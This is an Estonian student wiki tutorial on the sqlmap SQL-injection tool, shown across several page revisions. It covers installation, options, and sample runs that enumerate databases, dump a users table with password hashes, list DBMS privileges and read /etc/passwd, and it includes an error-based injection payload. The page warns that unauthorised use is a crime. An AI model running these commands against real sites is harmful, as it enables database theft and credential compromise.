[12:17:39] [INFO] fetching columns for table 'users' in database 'safecosmetics'<br />
[12:17:41] [INFO] heuristics detected web page charset 'ascii'<br />
[12:17:41] [INFO] the SQL query used returns 8 entries<br />
[12:17:42] [INFO] retrieved: id<br />
[12:17:43] [INFO] retrieved: int(11) <br />
[12:17:45] [INFO] retrieved: name <br />
[12:17:46] [INFO] retrieved: text <br />
[12:17:47] [INFO] retrieved: password <br />
[12:17:48] [INFO] retrieved: text <br />
<br />
.......<br />
<br />
[12:17:59] [INFO] retrieved: hash<br />
[12:18:01] [INFO] retrieved: varchar(128)<br />
Database: safecosmetics<br />
Table: users<br />
[8 columns]<br />
+-------------------+--------------+<br />
| Column | Type |<br />
+-------------------+--------------+<br />
| email | text |<br />
| hash | varchar(128) |<br />
| id | int(11) |<br />
| name | text |<br />
| password | text |<br />
| permission | tinyint(4) |<br />
| system_allow_only | text |<br />
| system_home | text |<br />
+-------------------+--------------+</pre><br />
<br />
5. Leiame eelnevast '''tabelist andmed''':[http://www.binarytides.com/sqlmap-hacking-tutorial/]<br />
<br />
<pre>python sqlmap.py -u "http://www.site.com/section.php?id=51" --dump -D safecosmetics -T users</pre><br />
<br />
Näidisväljund, mis on sarnane mysqldump käsule:[http://www.binarytides.com/sqlmap-hacking-tutorial/]<br />
<br />
<pre>+----+--------------------+-----------+-----------+----------+------------+-------------+-------------------+<br />
| id | hash | name | email | password | permission | system_home | system_allow_only |<br />
+----+--------------------+-----------+-----------+----------+------------+-------------+-------------------+<br />
| 1 | 5DIpzzDHFOwnCvPonu | admin | <blank> | <blank> | 3 | <blank> | <blank> |<br />
+----+--------------------+-----------+-----------+----------+------------+-------------+-------------------+</pre><br />
<br />
'''<br />
====Kasutajad====<br />
'''<br />
<br />
1. Järgnev käsk tagastab infot '''kasutajate ja rollide''' kohta.[http://www.binarytides.com/hack-remote-database-sqlmap/]<br />
<br />
<pre>python sqlmap.py -u "http://localhost/weak.php?id=10" --users --passwords --privileges --roles --threads=10</pre><br />
<br />
Näidisväljund:[http://www.binarytides.com/hack-remote-database-sqlmap/]<br />
<br />
<pre>..........<br />
<br />
database management system users [5]:<br />
[*] ''@'localhost'<br />
[*] ''@'localhost.localdomain'<br />
[*] 'root'@'127.0.0.1'<br />
[*] 'root'@'localhost'<br />
[*] 'root'@'localhost.localdomain'<br />
<br />
.............<br />
<br />
database management system users password hashes:<br />
[*] [1]:<br />
password hash: NULL<br />
[*] root [2]:<br />
password hash: *2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19<br />
password hash: NULL<br />
<br />
........<br />
<br />
[*] %root% (administrator) [27]:<br />
privilege: ALTER<br />
privilege: ALTER ROUTINE<br />
privilege: CREATE<br />
privilege: CREATE ROUTINE<br />
privilege: CREATE TEMPORARY TABLES<br />
privilege: CREATE USER<br />
privilege: CREATE VIEW<br />
privilege: DELETE<br />
privilege: DROP<br />
privilege: EVENT<br />
privilege: EXECUTE<br />
privilege: FILE<br />
privilege: INDEX<br />
privilege: INSERT<br />
privilege: LOCK TABLES<br />
privilege: PROCESS<br />
privilege: REFERENCES<br />
privilege: RELOAD<br />
privilege: REPLICATION CLIENT<br />
privilege: REPLICATION SLAVE<br />
privilege: SELECT<br />
privilege: SHOW DATABASES<br />
privilege: SHOW VIEW<br />
privilege: SHUTDOWN<br />
privilege: SUPER<br />
privilege: TRIGGER<br />
privilege: UPDATE</pre><br />
<br />
2. Leiame info hetkel kasutusel oleva '''kasutaja, andmebaasi ja hostinime''' kohta:[http://www.binarytides.com/hack-remote-database-sqlmap/]<br />
<br />
<pre>python sqlmap.py -u "http://localhost/weak.php?id=10" --current-user --is-dba --current-db --hostname --threads=10</pre><br />
<br />
Näidisväljund:[http://www.binarytides.com/hack-remote-database-sqlmap/]<br />
<br />
<pre>........<br />
[11:32:33] [INFO] the back-end DBMS is MySQL<br />
web server operating system: Linux Red Hat Enterprise 6 (Santiago)<br />
web application technology: PHP 5.3.3, Apache 2.2.15<br />
back-end DBMS: MySQL 5.0.11<br />
[11:32:33] [INFO] fetching current user<br />
[11:32:33] [INFO] retrieving the length of query output<br />
[11:32:33] [INFO] retrieved: 14<br />
[11:32:38] [INFO] retrieved: root@localhost <br />
current user: 'root@localhost'<br />
[11:32:38] [INFO] fetching current database<br />
[11:32:38] [INFO] retrieving the length of query output<br />
[11:32:38] [INFO] retrieved: 5<br />
[11:32:40] [INFO] resumed: profile_data<br />
current database: 'profile_data'<br />
[11:32:40] [INFO] fetching server hostname<br />
[11:32:40] [INFO] retrieving the length of query output<br />
[11:32:40] [INFO] retrieved: 21<br />
[11:32:48] [INFO] retrieved: localhost.localdomain <br />
hostname: 'localhost.localdomain'<br />
[11:32:48] [INFO] testing if current user is DBA<br />
[11:32:48] [INFO] fetching current user<br />
current user is DBA: False</pre><br />
<br />
3. Leiame kasutaja '''parooliräsi''':[http://www.darkmoreops.com/2014/08/28/use-sqlmap-sql-injection-hack-website-database/]<br />
<br />
<pre>sqlmap -u http://www.sqldummywebsite.com/cgi-bin/item.cgi?item_id=15 -D sqldummywebsite -T user_info -C user_password --dump</pre><br />
<br />
Näidisväljund:[http://www.darkmoreops.com/2014/08/28/use-sqlmap-sql-injection-hack-website-database/]<br />
<br />
<pre>[10:59:15] [INFO] the SQL query used returns 1 entries<br />
[10:59:17] [INFO] retrieved: 24iYBc17xK0e.<br />
[10:59:18] [INFO] analyzing table dump for possible password hashes<br />
Database: sqldummywebsite<br />
Table: user_info<br />
[1 entry]<br />
+---------------+<br />
| user_password |<br />
+---------------+<br />
| 24iYBc17xK0e. |<br />
+---------------+</pre><br />
'''<br />
====Failid====<br />
'''<br />
<br />
1. '''Faili lugemine''' kui on olemas vajalikud õigused, näiteks /etc/passwd:[http://www.binarytides.com/hack-remote-database-sqlmap/]<br />
<br />
<pre>python sqlmap.py -u "http://localhost/weak.php?id=10" --file-read=/etc/passwd --threads=10</pre><br />
<br />
'''<br />
==Kokkuvõte==<br />
'''<br />
<br />
SQLmap on väärtuslik töörist, selleks et mugavalt testida oma süsteemi SQL injektsioonide suhtes ja leida üles olemasolevad nõrkused. Teda on võimalik seadistada vastavalt enda vajadustele ja toetab paljusid andmebaasisüsteeme. Lisaks on ta kasutatav nii Windowsi kui Linux/Unix all. <br />
<br />
'''<br />
==Kasutatud kirjandus==<br />
'''<br />
[http://www.binarytides.com/sqlmap-hacking-tutorial/ Binarytides]<br />
<br />
[http://www.binarytides.com/hack-remote-database-sqlmap/ Binarytides]<br />
<br />
[https://hackertarget.com/sqlmap-tutorial/ Hackertarget]<br />
<br />
[https://github.com/sqlmapproject/sqlmap/wiki/Usage SQLmap Usage]<br />
<br />
[https://github.com/sqlmapproject/sqlmap/wiki/Features SQLmap Features]<br />
<br />
[http://www.darkmoreops.com/2014/08/28/use-sqlmap-sql-injection-hack-website-database/ Darkmoreops]</div>
Eprudnik
https://wiki.itcollege.ee/index.php?title=Sqlmap&diff=88535
Sqlmap
2015-05-14T15:06:22Z
<p>Eprudnik: </p>
<hr />
<div>'''''<br />
= SQLmap =<br />
'''''<br />
Autor: Elina Prudnikova <br />
<br />
Rühm: A21<br />
<br />
Mai 2015<br />
'''''<br />
== Lühikirjeldus ==<br />
'''''<br />
SQLmap on avatud lähtekoodiga programm, mida kasutatakse SQL injektsiooni nõrkuste leidmiseks ja ärakasutamiseks, selleks et testida andmebaasiserverite turvalisust. [http://sqlmap.org/]<br />
<br />
SQLmap võimaldab näiteks: luua otseühendust andmebaasiga, alla laadida andmebaasi tabeleid, murda lihtsamaid paroole kasutades sõnastikupõhist rünnet, alla laadida või üles laadida faile andmebaasiserverist, käivitada käske andmebaasiserveris, eskaleerida kasutaja õigusi jne. [http://sqlmap.org/]<br />
<br />
Toetab mitmesuguseid andmebaasisüsteeme: MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase, SAP MaxDB ja HSQLDB. [https://github.com/sqlmapproject/sqlmap/wiki/Features]<br />
<br />
<span style="color:red"> NB! SQLmap'i kasutamine kellegi ründamiseks ilma mõlemapoolse nõusolekuta on kuritegu! Kasutajad võtavad täieliku vastutuse enda tegude eest ning programmi loojad ei vastuta võimaliku väärkasutuse või kahju eest!</span><br />
<br />
'''<br />
==Paigaldamine==<br />
'''<br />
<br />
SQLmap on operatsioonisüsteemist sõltumatu, kuna on kirjutatud keeles Python. Teda on võimalik kasutada nii Windowsis kui ka Linux/Unix all. [https://github.com/sqlmapproject/sqlmap/wiki/Dependencies]<br />
<br />
'''<br />
====Linux/Unix====<br />
'''<br />
<br />
SQLmap'i jaoks on kõigepealt vaja paigaldada Python 2.6 või 2.7 versioon. <br />
<br />
1. Paigalda Python (Debian, Ubuntu).<br />
<br />
<pre>sudo apt-get install python2.6</pre><br />
<br />
2. Kontrolli versiooni.<br />
<br />
<pre>python --version</pre><br />
<br />
3. Seejärel alla laadida SQLmap.<br />
<br />
<pre>wget from http://sqlmap.sourceforge.net/#download</pre><br />
<br />
4. Pakkida see lahti ja käivitada.<br />
<br />
<pre>tar zxvf sqlmap-0.9.tar.gz<br />
<br />
cd sqlmap<br />
<br />
python sqlmap.py</pre><br />
<br />
5. Edukal paigaldamisel tagastab SQLmap:<br />
<br />
<pre>sqlmap/0.9 - automatic SQL injection and database takeover tool<br />
http://sqlmap.sourceforge.net<br />
<br />
Usage: python sqlmap.py [options]<br />
<br />
sqlmap.py: error: missing a mandatory parameter ('-d', '-u', '-l', '-r', '-g', '-c', '--wizard' or '--update'), -h for help</pre><br />
<br />
[https://hackertarget.com/sqlmap-tutorial/ Abi paigaldamisel Linux/Unix all]<br />
<br />
'''<br />
====Windows====<br />
'''<br />
<br />
1. Alla laadida ja paigaldada Python 2.6 või 2.7 kodulehelt: [https://www.python.org/ Python]<br />
<br />
2. Alla laadida zip fail SQLmap'i kodulehelt, pakkida see lahti. [https://sqlmap.org SQLmap] Käsurealt liikuda kataloogi, kuhu see lahti pakiti ja käivitada.<br />
<br />
<pre>C:\sqlmapproject-sqlmap-2defc30>python ./sqlmap.py<br />
Usage: ./sqlmap.py [options]<br />
<br />
sqlmap.py: error: missing a mandatory option (-d, -u, -l, -m, -r, -g, -c, --wiza<br />
rd, --update, --purge-output or --dependencies), use -h for basic or -hh for adv<br />
anced help<br />
<br />
Press Enter to continue...</pre><br />
<br />
[http://www.binarytides.com/install-run-sqlmap-windows/ Abiks Windowsis paigaldamisel]<br />
<br />
'''<br />
==Süntaks==<br />
'''<br />
<br />
Ülevaade SQLmap'i [https://github.com/sqlmapproject/sqlmap/wiki/Usage süntaksist]. Käsu üldkuju:<br />
<br />
<pre>python sqlmap.py [options]</pre><br />
<br />
Mõned võtmed:<br />
<br />
1. '''Sihtmärk''', kellega ühendutakse:<br />
<br />
<pre><br />
-d DIRECT Otseühendus andmebaasiga<br />
-u URL, --url=URL Sihtmärgi URL (näiteks "www.target.com/vuln.php?id=1")</pre><br />
<br />
2. '''Päring''', kuidas sihtmärgiga ühendutakse:<br />
<br />
<pre><br />
--data=DATA Andmestring saadetakse läbi POST'i<br />
--host=HOST HTTP Host'i päis<br />
--proxy=PROXY Kasutada HTTP proxy't et ühenduda URL'iga<br />
--delay=DELAY Ooteaeg sekundites HTTP päringute vahel<br />
--force-ssl Kasuta SSL/HTTPS'i<br />
</pre><br />
<br />
3. '''Optimiseerimine''':<br />
<br />
<pre>--threads=THREADS Samaaegsete HTTP(s) päringute arv (vaikimisi 1)</pre><br />
<br />
4. '''Andmebaas''':<br />
<br />
<pre><br />
-a, --all Tagasta kõik<br />
--current-user Tagasta hetkel kasutuses oleva kasutaja<br />
--users Loetle kasutajad<br />
--passwords Loetle kasutajate parooliräsid<br />
--privileges Loetle kasutajate privileegid<br />
--roles Loetle kasutajate rollid<br />
--dbs Loetle andmebaasid<br />
--tables Loetle andmebaasi tabelid<br />
--columns Loetle andmebaasi tabeli veerud<br />
--schema Loetle andmebaasi skeem<br />
--dump Väljasta kogu andmebaasi sisu<br />
--dump-all Väljasta kõikide andmebaaside sisu<br />
--search Otsi veergu, tabelit ja/või andmebaasi nime<br />
-D DB Mis andmebaasist loetleda<br />
-T TBL Mis andmebaasi tabelist loetleda<br />
-C COL Mis tabeli veerust loetleda<br />
-U USER Mis kasutaja kohta loetleda<br />
</pre><br />
<br />
5. '''Failid''':<br />
<br />
<pre><br />
--file-read=RFILE Loe fail süsteemist<br />
--file-write=WFILE Kirjuta fail süsteemi<br />
--file-dest=DFILE Absoluutne failitee kuhu kirjutada<br />
</pre><br />
<br />
Lisaks on SQLmap'il veel väga palju muid võtmeid.<br />
<br />
'''<br />
==Kasutamine==<br />
'''<br />
'''<br />
====Andmebaasid ja tabelid====<br />
'''<br />
<br />
1. Oletame, et tahame SQLmap'iga testida nõrka veebilehte. Veebilehega '''ühendumiseks''' kasutame võtit '''-u''' (URL).[http://www.binarytides.com/sqlmap-hacking-tutorial/]<br />
<br />
<pre>python sqlmap.py -u "http://www.site.com/section.php?id=51"</pre><br />
<br />
Näidisväljund, milles näha opsüsteem, veebiserveri ja andmebaasi tüüp koos versiooninumbriga:[http://www.binarytides.com/sqlmap-hacking-tutorial/]<br />
<br />
<pre>[*] starting at 12:10:33<br />
<br />
[12:10:33] [INFO] resuming back-end DBMS 'mysql' <br />
[12:10:34] [INFO] testing connection to the target url<br />
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:<br />
---<br />
Place: GET<br />
Parameter: id<br />
Type: error-based<br />
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause<br />
Payload: id=51 AND (SELECT 1489 FROM(SELECT COUNT(*),CONCAT(0x3a73776c3a,(SELECT (CASE WHEN (1489=1489) THEN 1 ELSE 0 END)),0x3a7a76653a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)<br />
---<br />
[12:10:37] [INFO] the back-end DBMS is MySQL<br />
web server operating system: FreeBSD<br />
web application technology: Apache 2.2.22<br />
back-end DBMS: MySQL 5</pre><br />
<br />
2. Kuna antud veebiserver on seega rünnatav, saab näiteks tagastada '''andmebaaside nimekirja''', kasutades võtit '''--dbs''':[http://www.binarytides.com/sqlmap-hacking-tutorial/]<br />
<br />
<pre>python sqlmap.py -u "http://www.sitemap.com/section.php?id=51" --dbs</pre><br />
<br />
Näidisväljund, mis näitab andmebaaside nimekirja:[http://www.binarytides.com/sqlmap-hacking-tutorial/]<br />
<br />
<pre>[*] starting at 12:12:56<br />
<br />
[12:12:56] [INFO] resuming back-end DBMS 'mysql' <br />
[12:12:57] [INFO] testing connection to the target url<br />
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:<br />
---<br />
Place: GET<br />
Parameter: id<br />
Type: error-based<br />
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause<br />
Payload: id=51 AND (SELECT 1489 FROM(SELECT COUNT(*),CONCAT(0x3a73776c3a,(SELECT (CASE WHEN (1489=1489) THEN 1 ELSE 0 END)),0x3a7a76653a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)<br />
---<br />
[12:13:00] [INFO] the back-end DBMS is MySQL<br />
web server operating system: FreeBSD<br />
web application technology: Apache 2.2.22<br />
back-end DBMS: MySQL 5<br />
[12:13:00] [INFO] fetching database names<br />
[12:13:00] [INFO] the SQL query used returns 2 entries<br />
[12:13:00] [INFO] resumed: information_schema<br />
[12:13:00] [INFO] resumed: safecosmetics<br />
available databases [2]:<br />
[*] information_schema<br />
[*] safecosmetics</pre><br />
<br />
3. Leiame '''kõik tabelid''', mis asuvad andmebaasis "safecosmetics":[http://www.binarytides.com/sqlmap-hacking-tutorial/]<br />
<br />
<pre>python sqlmap.py -u "http://www.site.com/section.php?id=51" --tables -D safecosmetics</pre><br />
<br />
Näidisväljund:[http://www.binarytides.com/sqlmap-hacking-tutorial/]<br />
<br />
<pre>[11:55:18] [INFO] the back-end DBMS is MySQL<br />
web server operating system: FreeBSD<br />
web application technology: Apache 2.2.22<br />
back-end DBMS: MySQL 5<br />
[11:55:18] [INFO] fetching tables for database: 'safecosmetics'<br />
[11:55:19] [INFO] heuristics detected web page charset 'ascii'<br />
[11:55:19] [INFO] the SQL query used returns 216 entries<br />
[11:55:20] [INFO] retrieved: acl_acl<br />
[11:55:21] [INFO] retrieved: acl_acl_sections <br />
........... more tables</pre><br />
<br />
4. Leiame '''veerud tabelis''' "users" andmebaasis "safecosmetics":[http://www.binarytides.com/sqlmap-hacking-tutorial/]<br />
<br />
<pre>python sqlmap.py -u "http://www.site.com/section.php?id=51" --columns -D safecosmetics -T users</pre><br />
<br />
Näidisväljund:[http://www.binarytides.com/sqlmap-hacking-tutorial/] <br />
<br />
<pre>[12:17:39] [INFO] the back-end DBMS is MySQL<br />
web server operating system: FreeBSD<br />
web application technology: Apache 2.2.22<br />
back-end DBMS: MySQL 5<br />
[12:17:39] [INFO] fetching columns for table 'users' in database 'safecosmetics'<br />
[12:17:41] [INFO] heuristics detected web page charset 'ascii'<br />
[12:17:41] [INFO] the SQL query used returns 8 entries<br />
[12:17:42] [INFO] retrieved: id<br />
[12:17:43] [INFO] retrieved: int(11) <br />
[12:17:45] [INFO] retrieved: name <br />
[12:17:46] [INFO] retrieved: text <br />
[12:17:47] [INFO] retrieved: password <br />
[12:17:48] [INFO] retrieved: text <br />
<br />
.......<br />
<br />
[12:17:59] [INFO] retrieved: hash<br />
[12:18:01] [INFO] retrieved: varchar(128)<br />
Database: safecosmetics<br />
Table: users<br />
[8 columns]<br />
+-------------------+--------------+<br />
| Column | Type |<br />
+-------------------+--------------+<br />
| email | text |<br />
| hash | varchar(128) |<br />
| id | int(11) |<br />
| name | text |<br />
| password | text |<br />
| permission | tinyint(4) |<br />
| system_allow_only | text |<br />
| system_home | text |<br />
+-------------------+--------------+</pre><br />
<br />
5. Leiame eelnevast '''tabelist andmed''':[http://www.binarytides.com/sqlmap-hacking-tutorial/]<br />
<br />
<pre>python sqlmap.py -u "http://www.site.com/section.php?id=51" --dump -D safecosmetics -T users</pre><br />
<br />
Näidisväljund, mis on sarnane mysqldump käsule:[http://www.binarytides.com/sqlmap-hacking-tutorial/]<br />
<br />
<pre>+----+--------------------+-----------+-----------+----------+------------+-------------+-------------------+<br />
| id | hash | name | email | password | permission | system_home | system_allow_only |<br />
+----+--------------------+-----------+-----------+----------+------------+-------------+-------------------+<br />
| 1 | 5DIpzzDHFOwnCvPonu | admin | <blank> | <blank> | 3 | <blank> | <blank> |<br />
+----+--------------------+-----------+-----------+----------+------------+-------------+-------------------+</pre><br />
<br />
'''<br />
====Kasutajad====<br />
'''<br />
<br />
1. Järgnev käsk tagastab infot '''kasutajate ja rollide''' kohta.[http://www.binarytides.com/hack-remote-database-sqlmap/]<br />
<br />
<pre>python sqlmap.py -u "http://localhost/weak.php?id=10" --users --passwords --privileges --roles --threads=10</pre><br />
<br />
Näidisväljund:[http://www.binarytides.com/hack-remote-database-sqlmap/]<br />
<br />
<pre>..........<br />
<br />
database management system users [5]:<br />
[*] ''@'localhost'<br />
[*] ''@'localhost.localdomain'<br />
[*] 'root'@'127.0.0.1'<br />
[*] 'root'@'localhost'<br />
[*] 'root'@'localhost.localdomain'<br />
<br />
.............<br />
<br />
database management system users password hashes:<br />
[*] [1]:<br />
password hash: NULL<br />
[*] root [2]:<br />
password hash: *2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19<br />
password hash: NULL<br />
<br />
........<br />
<br />
[*] %root% (administrator) [27]:<br />
privilege: ALTER<br />
privilege: ALTER ROUTINE<br />
privilege: CREATE<br />
privilege: CREATE ROUTINE<br />
privilege: CREATE TEMPORARY TABLES<br />
privilege: CREATE USER<br />
privilege: CREATE VIEW<br />
privilege: DELETE<br />
privilege: DROP<br />
privilege: EVENT<br />
privilege: EXECUTE<br />
privilege: FILE<br />
privilege: INDEX<br />
privilege: INSERT<br />
privilege: LOCK TABLES<br />
privilege: PROCESS<br />
privilege: REFERENCES<br />
privilege: RELOAD<br />
privilege: REPLICATION CLIENT<br />
privilege: REPLICATION SLAVE<br />
privilege: SELECT<br />
privilege: SHOW DATABASES<br />
privilege: SHOW VIEW<br />
privilege: SHUTDOWN<br />
privilege: SUPER<br />
privilege: TRIGGER<br />
privilege: UPDATE</pre><br />
<br />
2. Leiame info hetkel kasutusel oleva '''kasutaja, andmebaasi ja hostinime''' kohta:[http://www.binarytides.com/hack-remote-database-sqlmap/]<br />
<br />
<pre>python sqlmap.py -u "http://localhost/weak.php?id=10" --current-user --is-dba --current-db --hostname --threads=10</pre><br />
<br />
Näidisväljund:[http://www.binarytides.com/hack-remote-database-sqlmap/]<br />
<br />
<pre>........<br />
[11:32:33] [INFO] the back-end DBMS is MySQL<br />
web server operating system: Linux Red Hat Enterprise 6 (Santiago)<br />
web application technology: PHP 5.3.3, Apache 2.2.15<br />
back-end DBMS: MySQL 5.0.11<br />
[11:32:33] [INFO] fetching current user<br />
[11:32:33] [INFO] retrieving the length of query output<br />
[11:32:33] [INFO] retrieved: 14<br />
[11:32:38] [INFO] retrieved: root@localhost <br />
current user: 'root@localhost'<br />
[11:32:38] [INFO] fetching current database<br />
[11:32:38] [INFO] retrieving the length of query output<br />
[11:32:38] [INFO] retrieved: 5<br />
[11:32:40] [INFO] resumed: profile_data<br />
current database: 'profile_data'<br />
[11:32:40] [INFO] fetching server hostname<br />
[11:32:40] [INFO] retrieving the length of query output<br />
[11:32:40] [INFO] retrieved: 21<br />
[11:32:48] [INFO] retrieved: localhost.localdomain <br />
hostname: 'localhost.localdomain'<br />
[11:32:48] [INFO] testing if current user is DBA<br />
[11:32:48] [INFO] fetching current user<br />
current user is DBA: False</pre><br />
<br />
3. Leiame kasutaja '''parooliräsi''':[http://www.darkmoreops.com/2014/08/28/use-sqlmap-sql-injection-hack-website-database/]<br />
<br />
<pre>sqlmap -u http://www.sqldummywebsite.com/cgi-bin/item.cgi?item_id=15 -D sqldummywebsite -T user_info -C user_password --dump</pre><br />
<br />
Näidisväljund:[http://www.darkmoreops.com/2014/08/28/use-sqlmap-sql-injection-hack-website-database/]<br />
<br />
<pre>[10:59:15] [INFO] the SQL query used returns 1 entries<br />
[10:59:17] [INFO] retrieved: 24iYBc17xK0e.<br />
[10:59:18] [INFO] analyzing table dump for possible password hashes<br />
Database: sqldummywebsite<br />
Table: user_info<br />
[1 entry]<br />
+---------------+<br />
| user_password |<br />
+---------------+<br />
| 24iYBc17xK0e. |<br />
+---------------+</pre><br />
'''<br />
====Failid====<br />
'''<br />
<br />
1. '''Faili lugemine''' kui on olemas vajalikud õigused, näiteks /etc/passwd:[http://www.binarytides.com/hack-remote-database-sqlmap/]<br />
<br />
<pre>python sqlmap.py -u "http://localhost/weak.php?id=10" --file-read=/etc/passwd --threads=10</pre><br />
<br />
'''<br />
==Kokkuvõte==<br />
'''<br />
<br />
SQLmap on väärtuslik töörist, selleks et mugavalt testida oma süsteemi SQL injektsioonide suhtes ja leida üles olemasolevad nõrkused. Teda on võimalik seadistada vastavalt enda vajadustele ja toetab paljusid andmebaasisüsteeme. Lisaks on ta kasutatav nii Windowsi kui Linux/Unix all. <br />
<br />
'''<br />
==Kasutatud kirjandus==<br />
'''<br />
[http://www.binarytides.com/sqlmap-hacking-tutorial/ Binarytides]<br />
<br />
[http://www.binarytides.com/hack-remote-database-sqlmap/ Binarytides]<br />
<br />
[https://hackertarget.com/sqlmap-tutorial/ Hackertarget]<br />
<br />
[https://github.com/sqlmapproject/sqlmap/wiki/Usage SQLmap Usage]<br />
<br />
[https://github.com/sqlmapproject/sqlmap/wiki/Features SQLmap Features]<br />
<br />
[http://www.darkmoreops.com/2014/08/28/use-sqlmap-sql-injection-hack-website-database/ Darkmoreops]</div>
Eprudnik
https://wiki.itcollege.ee/index.php?title=Sqlmap&diff=88534
Sqlmap
2015-05-14T15:03:42Z
<p>Eprudnik: </p>
<hr />
<div>'''''<br />
= SQLmap =<br />
'''''<br />
Autor: Elina Prudnikova <br />
<br />
Rühm: A21<br />
<br />
Mai 2015<br />
'''''<br />
== Lühikirjeldus ==<br />
'''''<br />
SQLmap on avatud lähtekoodiga programm, mida kasutatakse SQL injektsiooni nõrkuste leidmiseks ja ärakasutamiseks, selleks et testida andmebaasiserverite turvalisust. [http://sqlmap.org/]<br />
<br />
SQLmap võimaldab näiteks: luua otseühendust andmebaasiga, alla laadida andmebaasi tabeleid, murda lihtsamaid paroole kasutades sõnastikupõhist rünnet, alla laadida või üles laadida faile andmebaasiserverist, käivitada käske andmebaasiserveris, eskaleerida kasutaja õigusi jne. [http://sqlmap.org/]<br />
<br />
Toetab mitmesuguseid andmebaasisüsteeme: MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase, SAP MaxDB ja HSQLDB. [https://github.com/sqlmapproject/sqlmap/wiki/Features]<br />
<br />
<span style="color:red"> NB! SQLmap'i kasutamine kellegi ründamiseks ilma mõlemapoolse nõusolekuta on kuritegu! Kasutajad võtavad täieliku vastutuse enda tegude eest ning programmi loojad ei vastuta võimaliku väärkasutuse või kahju eest!</span><br />
<br />
'''<br />
==Paigaldamine==<br />
'''<br />
<br />
SQLmap on operatsioonisüsteemist sõltumatu, kuna on kirjutatud keeles Python. Teda on võimalik kasutada nii Windowsis kui ka Linux/Unix all. [https://github.com/sqlmapproject/sqlmap/wiki/Dependencies]<br />
<br />
'''<br />
====Linux/Unix====<br />
'''<br />
<br />
SQLmap'i jaoks on kõigepealt vaja paigaldada Python 2.6 või 2.7 versioon. <br />
<br />
1. Paigalda Python (Debian, Ubuntu).<br />
<br />
<pre>sudo apt-get install python2.6</pre><br />
<br />
2. Kontrolli versiooni.<br />
<br />
<pre>python --version</pre><br />
<br />
3. Seejärel alla laadida SQLmap.<br />
<br />
<pre>wget from http://sqlmap.sourceforge.net/#download</pre><br />
<br />
4. Pakkida see lahti ja käivitada.<br />
<br />
<pre>tar zxvf sqlmap-0.9.tar.gz<br />
<br />
cd sqlmap<br />
<br />
python sqlmap.py</pre><br />
<br />
5. Edukal paigaldamisel tagastab SQLmap:<br />
<br />
<pre>sqlmap/0.9 - automatic SQL injection and database takeover tool<br />
http://sqlmap.sourceforge.net<br />
<br />
Usage: python sqlmap.py [options]<br />
<br />
sqlmap.py: error: missing a mandatory parameter ('-d', '-u', '-l', '-r', '-g', '-c', '--wizard' or '--update'), -h for help</pre><br />
<br />
[https://hackertarget.com/sqlmap-tutorial/ Abi paigaldamisel Linux/Unix all]<br />
<br />
'''<br />
====Windows====<br />
'''<br />
<br />
1. Alla laadida ja paigaldada Python 2.6 või 2.7 kodulehelt: [https://www.python.org/ Python]<br />
<br />
2. Alla laadida zip fail SQLmap'i kodulehelt, pakkida see lahti. [https://sqlmap.org SQLmap] Käsurealt liikuda kataloogi, kuhu see lahti pakiti ja käivitada.<br />
<br />
<pre>C:\sqlmapproject-sqlmap-2defc30>python ./sqlmap.py<br />
Usage: ./sqlmap.py [options]<br />
<br />
sqlmap.py: error: missing a mandatory option (-d, -u, -l, -m, -r, -g, -c, --wiza<br />
rd, --update, --purge-output or --dependencies), use -h for basic or -hh for adv<br />
anced help<br />
<br />
Press Enter to continue...</pre><br />
<br />
[http://www.binarytides.com/install-run-sqlmap-windows/ Abiks Windowsis paigaldamisel]<br />
<br />
'''<br />
==Süntaks==<br />
'''<br />
<br />
Ülevaade SQLmap'i [https://github.com/sqlmapproject/sqlmap/wiki/Usage süntaksist]. Käsu üldkuju:<br />
<br />
<pre>python sqlmap.py [options]</pre><br />
<br />
Mõned võtmed:<br />
<br />
1. '''Sihtmärk''', kellega ühendutakse:<br />
<br />
<pre><br />
-d DIRECT Otseühendus andmebaasiga<br />
-u URL, --url=URL Sihtmärgi URL (näiteks "www.target.com/vuln.php?id=1")</pre><br />
<br />
2. '''Päring''', kuidas sihtmärgiga ühendutakse:<br />
<br />
<pre><br />
--data=DATA Andmestring saadetakse läbi POST'i<br />
--host=HOST HTTP Host'i päis<br />
--proxy=PROXY Kasutada HTTP proxy't et ühenduda URL'iga<br />
--delay=DELAY Ooteaeg sekundites HTTP päringute vahel<br />
--force-ssl Kasuta SSL/HTTPS'i<br />
</pre><br />
<br />
3. '''Optimiseerimine''':<br />
<br />
<pre>--threads=THREADS Samaaegsete HTTP(s) päringute arv (vaikimisi 1)</pre><br />
<br />
4. '''Andmebaas''':<br />
<br />
<pre><br />
-a, --all Tagasta kõik<br />
--current-user Tagasta hetkel kasutuses oleva kasutaja<br />
--users Loetle kasutajad<br />
--passwords Loetle kasutajate parooliräsid<br />
--privileges Loetle kasutajate privileegid<br />
--roles Loetle kasutajate rollid<br />
--dbs Loetle andmebaasid<br />
--tables Loetle andmebaasi tabelid<br />
--columns Loetle andmebaasi tabeli veerud<br />
--schema Loetle andmebaasi skeem<br />
--dump Väljasta kogu andmebaasi sisu<br />
--dump-all Väljasta kõikide andmebaaside sisu<br />
--search Otsi veergu, tabelit ja/või andmebaasi nime<br />
-D DB Mis andmebaasist loetleda<br />
-T TBL Mis andmebaasi tabelist loetleda<br />
-C COL Mis tabeli veerust loetleda<br />
-U USER Mis kasutaja kohta loetleda<br />
</pre><br />
<br />
5. '''Failid''':<br />
<br />
<pre><br />
--file-read=RFILE Loe fail süsteemist<br />
--file-write=WFILE Kirjuta fail süsteemi<br />
--file-dest=DFILE Absoluutne failitee kuhu kirjutada<br />
</pre><br />
<br />
'''<br />
==Kasutamine==<br />
'''<br />
'''<br />
====Andmebaasid ja tabelid====<br />
'''<br />
<br />
1. Oletame, et tahame SQLmap'iga testida nõrka veebilehte. Veebilehega '''ühendumiseks''' kasutame võtit '''-u''' (URL).[http://www.binarytides.com/sqlmap-hacking-tutorial/]<br />
